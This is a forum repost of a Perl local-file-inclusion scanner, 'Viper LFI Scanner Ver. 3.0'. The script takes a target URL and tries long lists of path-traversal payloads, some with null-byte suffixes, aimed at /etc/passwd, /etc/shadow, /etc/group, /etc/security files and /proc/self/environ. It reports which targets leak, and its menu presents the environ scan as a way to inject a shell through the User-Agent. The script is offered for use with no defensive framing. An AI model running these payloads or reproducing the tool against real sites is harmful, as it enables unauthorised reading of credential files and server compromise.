# Viper LFI Scanner Ver. 3.0

**URL:** <https://forum.90sec.com/t/topic/2834>\
**Category:** 技术文章\
**Created:** [2011 年11 月 5 日 19:42 UTC](https://forum.90sec.com/t/topic/2834 "2011-11-05T19:42:37Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![Agile](https://forum.90sec.com/user_avatar/forum.90sec.com/agile/32/11326_2.png) [@Agile](https://forum.90sec.com/u/Agile)\
发布日期： [2011 年11 月 5 日 19:42 UTC](https://forum.90sec.com/t/topic/2834/1 "2011-11-05T19:42:37Z")

</div>

#!/usr/bin/perl

# 

# ////////////////////////////////////

# Viper LFI Scanner Ver. 3.0

# ////////////////////////////////////

# 

# Title : Viper Lfi Scanner Ver. 3.0

# Author: Bl4ck.Viper

# From : Azarbycan

# Date : 2010/08/27

# Category : Scanner

# Home : [www.Skote-vahshat.com](http://www.Skote-vahshat.com)

# Emails : [Bl4ck.Viper@Yahoo.com](mailto:Bl4ck.Viper@Yahoo.com) , [Bl4ck.Viper@Hotmail.com](mailto:Bl4ck.Viper@Hotmail.com) , [Bl4ck.Viper@Gmail.com](mailto:Bl4ck.Viper@Gmail.com)

# 

# 

# Description :Log , Environ , Passwd File Scanner

# 

# 

#_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-\*

```
use HTTP::Request;
use LWP::UserAgent;

```

system ("cls");  
print "\t\t/////////////////////////////////////////////////\n";  
print "\t\t\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\n";  
print "\t\t\t Viper LFI Scanner Ver. 3.0\n";  
print "\t\t\t Coded By Bl4ck.Viper\n";  
print "\t\t\t Made In Azarbycan\n";  
print "\t\t\t Version In English\n";  
print "\t\t\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\n";  
print "\n\n";  
sleep (1);  
print "\t\t\t\t WELCOME\n";  
print "\n\n";  
menu:;  
print "\tMenu:\n";  
print "\t ID[1]=\>Passwd,Log";  
print "\t[Scan Files Of /etc/ Directory]\n";  
print "\t ID[2]=\>Environ";  
print "\t\t[Scan Environ File For Inject Shell By U-Agent]\n";  
print"\n";  
print "\t\t Select ID For Start Scanner :";  
$menu = \<\>;  
if ($menu =~ /1/){  
goto lfi;  
}  
if ($menu =~ /2/){  
goto env;  
}  
else {  
print"\n\n";  
print "\t\tUnknow Command\n";  
goto menu;  
};

lfi:;  
print "\n\n";  
print "\t\t\tWelcome To /etc/ Section\n\n";  
print "\t Insert Target (ex: [http://www.site.com/index.php?page=](http://www.site.com/index.php?page=))\n";  
print "\t Target :";  
$host=\<STDIN\>;  
chomp($host);  
if($host !~ /http:///) { $host = "http://$host"; };

print "\n\n";  
print "\t\t\*-_-_-_-_-\* WORKING IN PROGRESS _-_-_-_-_-_\n";  
print "\n\n";  
@lfi = ('../etc/passwd',  
'../../etc/passwd',  
'../../../etc/passwd',  
'../../../../etc/passwd',  
'../../../../../etc/passwd',  
'../../../../../../etc/passwd',  
'../../../../../../../etc/passwd',  
'../../../../../../../../etc/passwd',  
'../../../../../../../../../etc/passwd',  
'../../../../../../../../../../etc/passwd',  
'../../../../../../../../../../../etc/passwd',  
'../../../../../../../../../../../../etc/passwd',  
'../../../../../../../../../../../../../etc/passwd',  
'../../../../../../../../../../../../../../etc/passwd',  
'../../../../../../../../../../../../../../../../etc/passwd',  
'../../etc/passwd%00',  
'../../../etc/passwd%00',  
'../../../../etc/passwd%00',  
'../../../../../etc/passwd%00',  
'../../../../../../etc/passwd%00',  
'../../../../../../../etc/passwd%00',  
'../../../../../../../../etc/passwd%00',  
'../../../../../../../../../etc/passwd%00',  
'../../../../../../../../../../etc/passwd%00',  
'../../../../../../../../../../../etc/passwd%00',  
'../../../../../../../../../../../../etc/passwd%00',  
'../../../../../../../../../../../../../etc/passwd%00',  
'../../../../../../../../../../../../../../etc/passwd%00',  
'../../../../../../../../../../../../../../../../etc/passwd%00',  
'../etc/shadow',  
'../../etc/shadow',  
'../../../etc/shadow',  
'../../../../etc/shadow',  
'../../../../../etc/shadow',  
'../../../../../../etc/shadow',  
'../../../../../../../etc/shadow',  
'../../../../../../../../etc/shadow',  
'../../../../../../../../../etc/shadow',  
'../../../../../../../../../../etc/shadow',  
'../../../../../../../../../../../etc/shadow',  
'../../../../../../../../../../../../etc/shadow',  
'../../../../../../../../../../../../../etc/shadow',  
'../../../../../../../../../../../../../../etc/shadow',  
'../etc/shadow%00',  
'../../etc/shadow%00',  
'../../../etc/shadow%00',  
'../../../../etc/shadow%00',  
'../../../../../etc/shadow%00',  
'../../../../../../etc/shadow%00',  
'../../../../../../../etc/shadow%00',  
'../../../../../../../../etc/shadow%00',  
'../../../../../../../../../etc/shadow%00',  
'../../../../../../../../../../etc/shadow%00',  
'../../../../../../../../../../../etc/shadow%00',  
'../../../../../../../../../../../../etc/shadow%00',  
'../../../../../../../../../../../../../etc/shadow%00',  
'../../../../../../../../../../../../../../etc/shadow%00',  
'../etc/group',  
'../../etc/group',  
'../../../etc/group',  
'../../../../etc/group',  
'../../../../../etc/group',  
'../../../../../../etc/group',  
'../../../../../../../etc/group',  
'../../../../../../../../etc/group',  
'../../../../../../../../../etc/group',  
'../../../../../../../../../../etc/group',  
'../../../../../../../../../../../etc/group',  
'../../../../../../../../../../../../etc/group',  
'../../../../../../../../../../../../../etc/group',  
'../../../../../../../../../../../../../../etc/group',  
'../etc/group%00',  
'../../etc/group%00',  
'../../../etc/group%00',  
'../../../../etc/group%00',  
'../../../../../etc/group%00',  
'../../../../../../etc/group%00',  
'../../../../../../../etc/group%00',  
'../../../../../../../../etc/group%00',  
'../../../../../../../../../etc/group%00',  
'../../../../../../../../../../etc/group%00',  
'../../../../../../../../../../../etc/group%00',  
'../../../../../../../../../../../../etc/group%00',  
'../../../../../../../../../../../../../etc/group%00',  
'../../../../../../../../../../../../../../etc/group%00',  
'../etc/security/group',  
'../../etc/security/group',  
'../../../etc/security/group',  
'../../../../etc/security/group',  
'../../../../../etc/security/group',  
'../../../../../../etc/security/group',  
'../../../../../../../etc/security/group',  
'../../../../../../../../etc/security/group',  
'../../../../../../../../../etc/security/group',  
'../../../../../../../../../../etc/security/group',  
'../../../../../../../../../../../etc/security/group',  
'../etc/security/group%00',  
'../../etc/security/group%00',  
'../../../etc/security/group%00',  
'../../../../etc/security/group%00',  
'../../../../../etc/security/group%00',  
'../../../../../../etc/security/group%00',  
'../../../../../../../etc/security/group%00',  
'../../../../../../../../etc/security/group%00',  
'../../../../../../../../../etc/security/group%00',  
'../../../../../../../../../../etc/security/group%00',  
'../../../../../../../../../../../etc/security/group%00',  
'../etc/security/passwd',  
'../../etc/security/passwd',  
'../../../etc/security/passwd',  
'../../../../etc/security/passwd',  
'../../../../../etc/security/passwd',  
'../../../../../../etc/security/passwd',  
'../../../../../../../etc/security/passwd',  
'../../../../../../../../etc/security/passwd',  
'../../../../../../../../../etc/security/passwd',  
'../../../../../../../../../../etc/security/passwd',  
'../../../../../../../../../../../etc/security/passwd',  
'../../../../../../../../../../../../etc/security/passwd',  
'../../../../../../../../../../../../../etc/security/passwd',  
'../../../../../../../../../../../../../../etc/security/passwd',  
'../etc/security/passwd%00',  
'../../etc/security/passwd%00',  
'../../../etc/security/passwd%00',  
'../../../../etc/security/passwd%00',  
'../../../../../etc/security/passwd%00',  
'../../../../../../etc/security/passwd%00',  
'../../../../../../../etc/security/passwd%00',  
'../../../../../../../../etc/security/passwd%00',  
'../../../../../../../../../etc/security/passwd%00',  
'../../../../../../../../../../etc/security/passwd%00',  
'../../../../../../../../../../../etc/security/passwd%00',  
'../../../../../../../../../../../../etc/security/passwd%00',  
'../../../../../../../../../../../../../etc/security/passwd%00',  
'../../../../../../../../../../../../../../etc/security/passwd%00',  
'../etc/security/user',  
'../../etc/security/user',  
'../../../etc/security/user',  
'../../../../etc/security/user',  
'../../../../../etc/security/user',  
'../../../../../../etc/security/user',  
'../../../../../../../etc/security/user',  
'../../../../../../../../etc/security/user',  
'../../../../../../../../../etc/security/user',  
'../../../../../../../../../../etc/security/user',  
'../../../../../../../../../../../etc/security/user',  
'../../../../../../../../../../../../etc/security/user',  
'../../../../../../../../../../../../../etc/security/user',  
'../etc/security/user%00',  
'../../etc/security/user%00',  
'../../../etc/security/user%00',  
'../../../../etc/security/user%00',  
'../../../../../etc/security/user%00',  
'../../../../../../etc/security/user%00',  
'../../../../../../../etc/security/user%00',  
'../../../../../../../../etc/security/user%00',  
'../../../../../../../../../etc/security/user%00',  
'../../../../../../../../../../etc/security/user%00',  
'../../../../../../../../../../../etc/security/user%00',  
'../../../../../../../../../../../../etc/security/user%00',  
'../../../../../../../../../../../../../etc/security/user%00');

foreach $scan(@lfi){

```php
$url = $host.$scan;
$request = HTTP::Request->new(GET=>$url);
$useragent = LWP::UserAgent->new();

```

$response = $useragent-\>request($request);  
if ($response-\>is\_success && $response-\>content =~ /root:x:/) { $msg = Vulnerability;}  
else { $msg = "Not Found";}  
print "$scan..........[$msg]\n";  
}  
env:;  
print "\n\n";  
print "\t\t\tWelcom To Environ Section\n\n";  
print "\t Insert Target (ex: [http://www.site.com/index.php?page=](http://www.site.com/index.php?page=))\n";  
print "\t Target :";  
$host=\<STDIN\>;  
chomp($host);  
if($host !~ /http:///) { $host = "http://$host"; };

print "\n\n";  
print "\t\t\*-_-_-_-_-\* WORKING IN PROGRESS _-_-_-_-_-_\n";  
print "\n\n";

@env = ('../proc/self/environ',  
'../../proc/self/environ',  
'../../../proc/self/environ',  
'../../../../proc/self/environ',  
'../../../../../proc/self/environ',  
'../../../../../../proc/self/environ',  
'../../../../../../../proc/self/environ',  
'../../../../../../../../proc/self/environ',  
'../../../../../../../../../proc/self/environ',  
'../../../../../../../../../../proc/self/environ',  
'../../../../../../../../../../../proc/self/environ',  
'../../../../../../../../../../../../proc/self/environ',  
'../../../../../../../../../../../../../proc/self/environ',  
'../../../../../../../../../../../../../../proc/self/environ',  
'../proc/self/environ%00',  
'../../proc/self/environ%00',  
'../../../proc/self/environ%00',  
'../../../../proc/self/environ%00',  
'../../../../../proc/self/environ%00',  
'../../../../../../proc/self/environ%00',  
'../../../../../../../proc/self/environ%00',  
'../../../../../../../../proc/self/environ%00',  
'../../../../../../../../../proc/self/environ%00',  
'../../../../../../../../../../proc/self/environ%00',  
'../../../../../../../../../../../proc/self/environ%00',  
'../../../../../../../../../../../../proc/self/environ%00',  
'../../../../../../../../../../../../../proc/self/environ%00',  
'../../../../../../../../../../../../../../proc/self/environ%00');

foreach $scan\_env(@env){

```php
$url = $host.$scan_env;
$request = HTTP::Request->new(GET=>$url);
$useragent = LWP::UserAgent->new();

```

$response = $useragent-\>request($request);  
if ($response-\>is\_success && $response-\>content =~ /HTTP\_ACCEPT/ && $response-\>content =~ /HTTP\_HOST/) { $msg = Vulnerability;}  
else { $msg = "Not Found";}  
print "$scan\_env..........[$msg]\n";  
}
